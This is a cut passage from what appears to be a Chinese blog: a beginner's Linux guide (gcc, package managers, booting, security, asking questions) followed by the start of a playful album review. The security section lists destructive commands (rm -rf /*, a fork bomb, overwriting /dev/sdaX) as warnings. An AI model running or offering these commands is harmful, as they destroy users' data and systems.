id=\"命令行程序举例一句话编译c语言单文件\"\u003e命令行程序举例:一句话编译C语言单文件\u003c/h3\u003e\n\u003cp\u003e各位目前编程,除了某些大佬之外,肯定是依靠Dev-Cpp之类的程序来编译运行吧。这里我想给大家把那些程序的外表给去掉,给大家看看如何编译一个程序吧。\u003cbr/\u003e\n像Dev-Cpp那样的,可以编辑代码并编译执行的程序,叫做集成开发环境(IDE)。IDE要想编译程序,需要编译器,这个配置过vscode的人会更清楚。接下来,我们只依靠编译器,编译上面的示例程序。\u003cbr/\u003e\n这里我使用gcc编译器。咱先把上面的示例程序写下来,保存成’argc.c’文件。然后在保存这个文件的目录下,打开终端,通过以下命令编译运行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc argc.c -o argc \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./argc Unforeseen Consequence\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果执行没有问题的话,程序将会输出\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e./argc\nUnforeseen\nConsequence\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e好的,程序运行成功了,执行符合预期。这个命令我也该跟大家解释一下了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egcc\u003c/code\u003e 是编译器程序的名称,后面跟参数\u003ccode\u003e–help\u003c/code\u003e可以查看其使用指南\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eargc.c\u003c/code\u003e 是需要编译的源代码文件,是gcc程序的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-o\u003c/code\u003e 是gcc的参数,表示要将编译后的结果输出到哪个文件中,后面的argc是-o的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e 是bash命令解释器的一个特殊符号,表示在前面的命令完成后,执行后面的命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e./argc\u003c/code\u003e 是即将执行的程序名称,\u003ccode\u003e./\u003c/code\u003e表示我们需要在当前目录下寻找该程序\u003c/li\u003e\n\u003cli\u003e后面的两个单词是argc程序的参数,也是G-Man对万斯父女说过的话\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果大家一时看不明白,很正常。我这里只是想通过这种方式,让大家对命令行程序有一个了解。\u003cbr/\u003e\n如果想更多了解的话,建议大家了解一下bash的基本用法。最后给大家一道思考题:系统是怎样找到程序的位置呢?\u003c/p\u003e\n\u003ch3 id=\"软件包管理\"\u003e软件包管理\u003c/h3\u003e\n\u003cp\u003e前面我说镜像的时候,我说我会在这里细讲的。个人认为,这个是使用频率最高的命令行程序了。\u003cbr/\u003e\n在Windows下,各位要用软件的时候,都会找渠道下载安装程序,然后安装吧。这种方式个人认为,十分麻烦,而且不安全。麻烦在于,你得满世界去找安装程序,有些小众程序还得去各种犄角旮旯网站去找。不安全在于,有些渠道很黑心,一不小心就给你来个2345流氓大礼包。要是下到了病毒,那就更好玩了:-P\u003cbr/\u003e\n而Linux系统,普遍都有配套的软件库,可以很方便地给你们提供很多的软件。基本上咱们编程需要的东西,都给你准备好了。当然,要是这个程序找不到的话,如果那个软件给Linux适配的话,那就把上面的步骤走一遍吧:-(\u003cbr/\u003e\n接下来,我给大家准备了一些命令,免得大家上网找了。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e系统类型\u003c/th\u003e\n\u003cth align=\"center\"\u003e安装程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e卸载程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新系统\u003c/th\u003e\n\u003cth align=\"center\"\u003e搜索程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e图形化工具\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDebian/Ubuntu\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get install\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt dist-upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-cache search\u003c/td\u003e\n\u003ctd align=\"center\"\u003esynaptic\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eFedora/CentOS\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf install\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf update\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf distro-sync\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf search\u003c/td\u003e\n\u003ctd align=\"center\"\u003e-\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eOpenSUSE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper in\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper rm\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper up\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper dup\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper se\u003c/td\u003e\n\u003ctd align=\"center\"\u003eYaST软件包管理工具\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eArch Linux/Manjaro\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -S\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -R\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Ss\u003c/td\u003e\n\u003ctd align=\"center\"\u003epamac/octopi\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对了,用GNOME环境的同志们,你们的电脑上面应该有个\u0026#34;软件\u0026#34;应用,那个玩意也挺方便的。KDE下面有个Apper,也还行。\u003cbr/\u003e\n还有一件事,软件库是可以扩展的,比如Fedora的RPMFusion,Archlinux的AUR,需要的话,可以上网了解一下。\u003c/p\u003e\n\u003ch2 id=\"如何把-linux-引进家\"\u003e如何把 Linux 引进家\u003c/h2\u003e\n\u003cp\u003e这块我简要说一下如何把 Linux 引进家,也就是你电脑是如何引导 Linux 的。\u003cbr/\u003e\n有些名词我不会过多解释,有需要请上网搜索。有错误请指正。\u003c/p\u003e\n\u003ch3 id=\"mbr--uefi\"\u003eMBR / UEFI\u003c/h3\u003e\n\u003cp\u003e电脑开机之后,首先加载 CMOS 里面的程序,用来初始化电脑的硬件。顺便说一句,BIOS 是存在 CMOS 里面,用来修改 CMOS 的内容的程序。多看看老莱就知道了。\u003c/p\u003e\n\u003cp\u003e初始化硬件后,电脑需要寻找硬盘上的操作系统,然后把控制权交出去,因为他除了初始化硬件,连和我贴贴都不会。而这就引申出来标题那俩东西了。\u003c/p\u003e\n\u003cp\u003e对于各位普遍安装的虚拟机,以及老电脑来说,MBR 引导方式是十分普遍的。MBR 是电脑的前 512 字节,存着操作系统引导器的信息。电脑读这几个字节的信息,然后就交权了。UEFI 稍微复杂一些,他能读取一个叫 EFI 分区的玩意,看看里面有啥可引导信息,然后引导系统。\u003c/p\u003e\n\u003ch3 id=\"系统初始化程序\"\u003e系统初始化程序\u003c/h3\u003e\n\u003cp\u003e现在我们需要加载内核到内存,内核文件是压缩过的,名字中一般有个 \u003ccode\u003evmlinuz\u003c/code\u003e 。解压完内核,内核会:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e检测系统硬件\u003c/li\u003e\n\u003cli\u003e挂载根设备\u003c/li\u003e\n\u003cli\u003e加载必要的内核模块(其中包括很多驱动之类)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里说一句,在没有挂载电脑硬盘根目录前,内核所有操作都在 \u003ccode\u003einitrd\u003c/code\u003e 的虚拟树根中进行。\u003c/p\u003e\n\u003cp\u003e然后就完了……吧?\u003c/p\u003e\n\u003cp\u003e当然不是,系统只有内核是绝对不够的。他不知道键盘鼠标在哪里,不知道如何走网卡上网,不知道如何…… 你就当他啥也不会就行了。这时我们需要个人来带领他复习这些东西。这个程序,叫系统初始化+管理工具,目前流行的是 systemd。他能初始化系统,运行必要的系统服务之类的(其中包括我们最喜欢的图形化程序)。一般来说,这玩意搞完了,系统基本就能用了。\u003c/p\u003e\n\u003ch2 id=\"linux系统安全教育\"\u003eLinux系统安全教育\u003c/h2\u003e\n\u003cp\u003e在阅读这一章之前,先把超人的座右铭读一下:能力越大,责任越大。\u003cbr/\u003e\nLinux给你的权限是相当大的,鉴于很多人在Windows下,不一定能对系统权限有很深的认识,我不太想让大家因为网上的某些垃圾命令/恶意软件而搞得心情不愉快。所以这里,我简单说几句句。\u003c/p\u003e\n\u003ch3 id=\"sudo和最高权限用户\"\u003esudo和最高权限用户\u003c/h3\u003e\n\u003cp\u003e各位在互联网上寻找到的命令,有一些前面带着\u003ccode\u003esudo\u003c/code\u003e,或是\u003ccode\u003e#\u003c/code\u003e字符。这都意味着,这个命令需要使用最高用户权限(Linux叫root账户)来执行。\u003cbr/\u003e\n在Windows下,有管理员账户(Administrator)。相信大家感受不深,因为各位的电脑默认都是这个账户。当你需要安装应用程序的时候,有个窗口弹出来,让你同意运行。这个情况下,系统就需要让你动用管理员用户权限了,因为你要更改系统设置,修改系统文件啊。Linux也是这样,当你需要安装软件的时候,你需要提权了。\u003cbr/\u003e\nLinux的最高权限用户和Windows的管理员有很大不同。Windows的管理员权限在某种意义上,算是一种丞相的位置,虽然权力相当大了,但上面还有个SYSTEM账户,掌管所有权力。Linux的最高权限用户可谓是一人之下,万人之上了。你可以访问所有文件,修改所有设定,甚至一句话就可以自杀:-P\u003cbr/\u003e\n这就要引出下一个话题了……\u003c/p\u003e\n\u003ch3 id=\"linux也有病毒\"\u003eLinux也有病毒\u003c/h3\u003e\n\u003cp\u003e很多人说,Linux相较于Windows更安全,而且没有病毒。这个话是不完全正确的。\u003cbr/\u003e\n先说错误的部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLinux内核和上面的软件,和Windows一样,会有漏洞。虽然修复十分频繁,但毕竟洞在那里,很多人都会来插的。\u003c/li\u003e\n\u003cli\u003e由于Windows在普通人中间的使用量相当大,攻击者会花很多心思寻找Windows的漏洞,然后编写病毒攻击。Linux和Mac方面的病毒相比,就少了很多。\u003c/li\u003e\n\u003cli\u003eAndroid系统基于Linux开发,然而为啥天天有人随便下载东西,然后手机被锁住了呢?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e好吧,看上去,也不是那么美好啊。那么,正确的部分又在那里呢?\u003cbr/\u003e\n在Linux下,调用最高管理权限的门槛很高。多数情况下,你在Windows中,默认就是管理员账户,UAC(提权时候的提醒)也近乎于摆设。而Linux的话,用户账户默认是没有最高权限访问权的。而当你提权的时候,往往需要把你加入提权组(一般叫wheel),执行前输入密码。要是不提权的话,你只能操作你家目录里面的东西。而最高权限用户,默认是禁用的,只有当你给其设置密码的时候,才能使用。这种近似于一刀切的管理方式保证了Linux的安全。但如果你们提权了,稀里糊涂地从网上随便贴个危险命令,那就出大事了,比如说:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003esudo rm -rf /*\u003c/code\u003e 臭名昭著的自杀命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e:(){:|:\u0026amp;};:\u003c/code\u003e 可理解为不停调用自己,把电脑卡死\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewhatever-command \u0026gt; /dev/sdaX\u003c/code\u003e 直接用该命令的输出覆写到磁盘上,你的硬盘毁了\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对于Linux而言,不要执行来路不明的程序,也是适用的。\u003cbr/\u003e\n以上说到的,都算是Linux的“病毒”了。希望大家使用的时候一定要小心。\u003c/p\u003e\n\u003ch2 id=\"还有没说到的上网查资料优雅地问问题\"\u003e还有没说到的,上网查资料/优雅地问问题\u003c/h2\u003e\n\u003cp\u003e我前面说过,这里给的东西,都是一些抛砖引玉的东西。如果没有你需要的,首先,我深感歉意:-(\u003cbr/\u003e\n去互联网看看,或者找其他大佬吧,他们一定比我博学多了,不过普遍喜欢使用狗头:-P\u003cbr/\u003e\n(我看到有人经常发狗头的时候,会过敏,我不知道他是不是在嘲讽我)\u003c/p\u003e\n\u003ch3 id=\"提高英语水平\"\u003e提高英语水平\u003c/h3\u003e\n\u003cp\u003e这很关键!因为系统输出的东西都是英文的,而且你目前接触到的所有互联网资源,尤其是跟Linux相关的资源,都是英语的。实在看不懂,多用谷歌翻译吧。\u003c/p\u003e\n\u003ch3 id=\"查看报错输出\"\u003e查看报错输出\u003c/h3\u003e\n\u003cp\u003e报错输出是查错的时候,非常有用的资源。通过阅读它,你能很快明白问题的根源,并进行针对性的上网,搜索解决方案。这里给个例子。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\" loading=\"lazy\" alt=\"他想装一个软件,卡在这里了\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e他想装一个软件,卡在这里了\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e看到那行E了吗,那个就是报错输出。他报错说,仓库没有找到Release文件。\u003cbr/\u003e\n这样,会修的就知道怎么修了,不会修发给别人,他也能快速帮助你。他的问题是没有完整添加软件源,导致系统不知道跑哪里下载软件安装包。\u003c/p\u003e\n\u003ch3 id=\"怎么提供信息\"\u003e怎么提供信息\u003c/h3\u003e\n\u003cp\u003e有些时候,上网搜也搜不到解决方案,这时我们就需要求助于人了。对于初学者来说,这很正常。\u003cbr/\u003e\n为了节省双方的时间,请各位在上网实在找不到解决方案的时候,再去求助他人。在询问问题的时候,请尽量提供详细的信息。\u003cbr/\u003e\n比如,你的输入法没有拼音输入,你应该提供你系统的截图和设置选项。这比直接问“我的输入法没法输入中文”好多了。\u003c/p\u003e\n\u003ch3 id=\"不要过于依赖别人\"\u003e不要过于依赖别人!\u003c/h3\u003e\n\u003cp\u003e我知道对于初学者而言,有些问题搞不明白,得经常求助别人。这个很正常,我也是这么过来的。但是,解决问题后,你应该从中学到一些东西。如果你一直停留在出现问题-询问问题-解决问题的惯性中,你很难学的好。所以,不要过分依赖他人!要学会自己解决问题,逐渐学到更多。而且,人都是有七情六欲的,你一直问,会把人问烦的。\u003c/p\u003e\n\u003ch2 id=\"为什么我不推荐大家使用linux当作日常系统\"\u003e为什么我不推荐大家使用Linux当作日常系统\u003c/h2\u003e\n\u003cp\u003e嘿嘿嘿,看完了是不是很迷糊,那就快跑!\u003cbr/\u003e\n记住这些,一定要让那些冲动的人们不要踏进来!\u003c/p\u003e\n\u003ch3 id=\"专业软件太少\"\u003e专业软件太少\u003c/h3\u003e\n\u003cp\u003e举两个例子:我高二的时候,有一会需要剪视频,使用Openshot,结果用起来没有Premiere方便不说,还经常崩溃,我被迫装回Windows,使用Premiere。然后是我刚买来新手机的时候,我刷机失败,需要救砖。但是救砖软件是Windows独占,在我用虚拟机救砖失败后,我被迫装回Windows来救砖。\u003cbr/\u003e\n所以说,如果你有十分专业的需求,比如剪视频、重度办公、机床控制、3D游戏之类的话,Linux并不适合你。\u003c/p\u003e\n\u003ch3 id=\"社区风气极差\"\u003e社区风气极差\u003c/h3\u003e\n\u003cp\u003e我最后为啥要给各位介绍如何优雅问问题/上网搜资料呢?因为Linux社区对小白很不友好。这里直接贴上《提问的智慧》的最后一段:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如何更好地回答\u003cbr/\u003e\n态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。\u003cbr/\u003e\n对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。\u003cbr/\u003e\n如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。\u003cbr/\u003e\n如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。\u003cbr/\u003e\n探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。\u003cbr/\u003e\n尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好。\u003cbr/\u003e\n如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。\u003cbr/\u003e\n帮助你的社区从中学习。当回复一个好问题时,问问自己 “如何修改相关文件或 FAQ 文档以免再次解答同样的问题?”,接着再向文档维护者发一份补丁。\u003cbr/\u003e\n如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在我们的社区,这样的人很少,而且我去Bilibili上面看了,很多都是炫技/营销号:-P\u003cbr/\u003e\n希望大佬们好好看看这里吧。\u003c/p\u003e\n\u003ch3 id=\"这是幽幽子使用的系统\"\u003e这是幽幽子使用的系统\u003c/h3\u003e\n\u003cp\u003e这个无需多言,我们凡人使用了她用过的系统,岂不是要折寿?\u003cbr/\u003e\n摘自zh.moegirl.org:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e幽幽子平时使用Debian GNU/Linux,因为天冠上的标志与Debian GNU/Linux极为类似。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e以此类推,灵梦用的是Ubuntu,魔理沙使用的就是Arch Linux了吧233\u003c/p\u003e\n\u003ch2 id=\"推荐读物\"\u003e推荐读物\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md\" target=\"_blank\" rel=\"noopener\"\u003e提问的智慧\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://lvris.com/p/resource-search/\" target=\"_blank\" rel=\"noopener\"\u003e由书名号同志编写的资源搜索指南\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://wiki.archlinux.org/\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.vbird.org/\" target=\"_blank\" rel=\"noopener\"\u003e鸟哥的私房菜\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e感谢大家阅读,希望这个文章能帮助大家适应Linux。我提到的很多东西,在Windows下也适用呢。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/IiZ6PgFa1C73SnX.jpg\" alt=\"Featured image of post The Embodiment of Scarlet Devil专辑推广材料\"/\u003e\n\n\n\n\n\n \n\n\n\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1Wq4y1f7h7\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003e本人最近被一群可爱的女孩子找上门来,称自己叫Gensokyo Band,想让我发行一张专辑。我说:我又不是音乐厂商,为啥要找我呢?她们说我肯定识货,直接把母带给我,然后就走了。母带上面写着:The Embodiment of Scarlet Devil。抱着怀疑的心态,我把母带放入了机器里面听,兴许是某种King Crimson首专的仿制品。\u003c/p\u003e\n\u003cp\u003e然而,一开始的感觉并不是这样。这张专辑貌似十分的舒缓,钢琴的声音也很明亮。后面的基本也是这样,钢琴和电子琴一直是最主要的乐器,还有十分抓人耳朵的小号。演奏的很多旋律,都有一种说不上来的熟悉感和陌生感。但是摇滚的特征也很多,比如很多地方快速的吉他演奏,就跟Hackett在Hogweed那首歌开始部分的吉他演奏一样,让人印象深刻。而电子琴高昂的旋律,跟Jon Lord的电子风管琴一样,推动了音乐节奏的发展。怎么说呢,我觉得对于听多了ELP那种表面很好听,实际很古板的音乐之后,突然给我这种难以解释的音乐,还真的很难形容。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e整张专辑主要分为四个部分:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 标题曲: A Dream that is More Scarlet than Red\n第一部分:湖面上一缕清晨的阳光:\n 2. A Soul as Scarlet as a Ground Cherry\n 3. Apparitions Stalk the Night\n 4. Lunate Elf\n 5. Tomboyish Girl in Love\n第二部分:思绪万千的女孩子:\n 6. Shanghai Scarlet Teahouse ~ Chinese Tea\n 7. Shanghai Alice of Meiji 17\n 8. Voile, the Magic Library\n 9. Locked Girl ~ The Girl\u0026#39;s Sealed Room\n第三部分:打工人忙碌的一天:\n 10. The Maid and the Pocket Watch of Blood\n 11. Lunar Clock ~ Luna Dial\n第四部分:绯红恶魔的出现:\n 12. The Young Descendant of Tepes\n 13. Septette for a Dead Princess\n 14. The Centennial Festival for Magical Girls\n 15. U.N. Owen Was Her?\n16. 结束曲:An Eternity More Transient than Scarlet\n17. 回响曲:Scarlet Tower ~ Eastern Dream...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"第一部分1-5\"\u003e第一部分(1-5)\u003c/h2\u003e\n\u003cp\u003e第一部分主要是十分舒缓的节奏,像许多田园那样十分清爽。这部分的歌曲节奏十分鲜明。第二首和第四首应该是4/2拍,是进行曲那样的节奏。这样的节奏,代入的话,就是一种吸引人们过来欣赏,然后让人呆住听的感觉。除了第三首外,这一部分的鼓声也很鲜明,和跳跃的贝斯配合,像是一个人走在丛林里面探险。我觉得在某种意义上,算是把小号渲染环境的风头给抢去了。第三首我觉得有点平平了,开头像是注册机音乐:-P\u003c/p\u003e\n\u003ch2 id=\"第二部分6-9\"\u003e第二部分(6-9)\u003c/h2\u003e\n\u003cp\u003e第二部分最明显的特征是节奏的逐渐加快和旋律的加重。这里的“加重”,是指旋律逐渐变得很空广,给人一种开阔的感觉,没有第一部分那样的舒缓了。很明显,这是合成器的功劳,流行音乐很喜欢那种开阔的音乐。从Bee Gees 1st到ABBA,再看看Whenever You Need Somebody和吻别之类的, 在垃圾电音之前,很多流行歌曲都是这样的。这里有个例外,就是第八首,大致是回到了第一部分那样的舒缓和探索风格了。由于第九首结构十分复杂,并且很有史诗的味道,所以第八首这么处理,有点“大的要来了”那种感觉。\u003cbr/\u003e\n还记得一开始说的快速吉他演奏吗?这就是第九首一开始的样子。这首音乐结构复杂,让我想到了很多我听过的曲子。干脆给个结构,你们各位自己联想吧:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e开始的合奏 –\u0026gt; Deep Purple: Gypsy’s Kiss 开始部分 –\u0026gt;\nGenesis: Return of Giant Hogweed 快速Riff –\u0026gt; King Crimson: Epitath 中间的和声 –\u0026gt;\n开始的合奏 –\u0026gt; 爵士味道的合奏 –\u0026gt; 结束\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(插一句:我没听过多少爵士乐的东西,但很多前卫摇滚专辑的爵士乐色彩都很浓吧:-P)\u003c/p\u003e\n\u003ch2 id=\"第三部分10-11\"\u003e第三部分(10-11)\u003c/h2\u003e\n\u003cp\u003e第三部分可以说是最差的部分。都是因为第十一首,我觉得就是把You Really Got Me的Riff直接搬过来用了(Deep Purple的Drifter也是,可能这是某种通用Riff?),而且十分刺耳,十分混乱,很明显混音师并没有完好地把各个乐器的占比给平衡好。第十首实际上还行吧,但前面已经有很多类似风格的歌曲了,再来一个没啥特点的类似歌曲,未免让人有点审美疲劳。你们知道听多了ELP的Karn Evil No 9之后是啥感觉吗,怎么他们花了7分钟不停地重复相同的东西呢?\u003c/p\u003e\n\u003ch2 id=\"第四部分结尾12-1516-17\"\u003e第四部分\u0026amp;结尾(12-15+16-17)\u003c/h2\u003e\n\u003cp\u003e第四部分,终于有点新的东西了。在第一部分,第二部分特点的基础上,将摇滚的节奏,爵士的味道和古典的气息融合得最好。\u003cbr/\u003e\n上来第十二首,钢琴爵士的味道简直太浓了,而歌曲开始又是第一部分那样的节奏。第十三首彻底就是一个古典钢琴曲的改编,名称叫《悼念公主的帕凡舞曲》(谁知道《让我们荡其双桨》是不是借鉴了这个)。然而这个改编节奏太快,我第一时间还没反应过来,后来才回过味来,而后面的部分加上了合奏。比起原先曲子的忧伤,这个改编挺让人热血沸腾的。第十四首总体来说,有点迷幻了。开头的部分是The Doors的Strange Days,至少让我体现了那种感觉,后面的部分又回到了这张专辑一贯的爵士合奏风格:-P第十四首,可以说重金属感觉了出来,任何一个乐符都很干脆利落,有点让人喘不过气来。\u003c/p\u003e\n\u003cp\u003e那最后一首呢,我觉得很有创意。虽然是第一首的再奏,但是它使用了敲击出来的音乐,还挺让人耳目一新的。\u003cbr/\u003e\n我还想插一句,最后的回响曲在这里,我觉得意义不明。\u003c/p\u003e\n\u003ch2 id=\"和in-the-wake-of-the-poseidon对位\"\u003e和In the Wake of the Poseidon对位\u003c/h2\u003e\n\u003cp\u003e我看着张专辑的编排,确实有点像King Crimson的专辑,不过是第二张,再列个表吧,列出部分曲目的对位关系:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDevil\u003c/th\u003e\n\u003cth\u003ePoseidon\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e1. A Dream that is More Scarlet than Red\u003c/td\u003e\n\u003ctd\u003eA1. Peace: A Beginning\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e2. A Soul as Scarlet as a Ground Cherry\u003c/td\u003e\n\u003ctd\u003eA2. Picture of a City\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e4. Lunate Elf\u003c/td\u003e\n\u003ctd\u003eA3. Cadence And Cascade\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e9. Locked Girl ~ The Girl’s Sealed Room\u003c/td\u003e\n\u003ctd\u003eA4. In the Wake of the Poseidon\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e10. The Maid and the Pocket Watch of Blood\u003c/td\u003e\n\u003ctd\u003eB2. Cat Food\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e12. The Young Descendant of Tepes\u003c/td\u003e\n\u003ctd\u003eB3a. The Devil\u0026#39;s Triangle\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e13. Septette for a Dead Princess\u003c/td\u003e\n\u003ctd\u003eB3b. Merday Morn\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e14. The Centennial Festival for Magical Girls\u003c/td\u003e\n\u003ctd\u003eB3c. Hand Of Sceiron\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e15. U.N. Owen Was Her?\u003c/td\u003e\n\u003ctd\u003eB3d. Garden Of Worm\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e16. An Eternity More Transient than Scarlet\u003c/td\u003e\n\u003ctd\u003eB4. Peace: An End\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结寻人启事\"\u003e总结+寻人启事\u003c/h2\u003e\n\u003cp\u003e总体来说,这张专辑虽然说爵士味道很浓,但是无论从音乐编排,很多新颖的编排来说,前卫摇滚的因素十分的多。虽然也有少部分歌曲风格重复,审美疲劳,总体还是比ELP,Yes这样僵化的乐队好听多了。对比某个写英国内战时某个亲王的专辑来说,更是好到不知道到哪里去了。\u003c/p\u003e\n\u003cp\u003e不过,我还是不明白她们为啥找我发行。不过我既然有b站帐号,我就给放出来了,看样子反响不错。她们也没再找我,不过他们一开始给的母带上面写着他们叫有些信息,我就根据那个,根据记忆,画了她们的样貌,希望她们还能回来,找我结帐。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\"\u003e\n\t\t\u003cimg 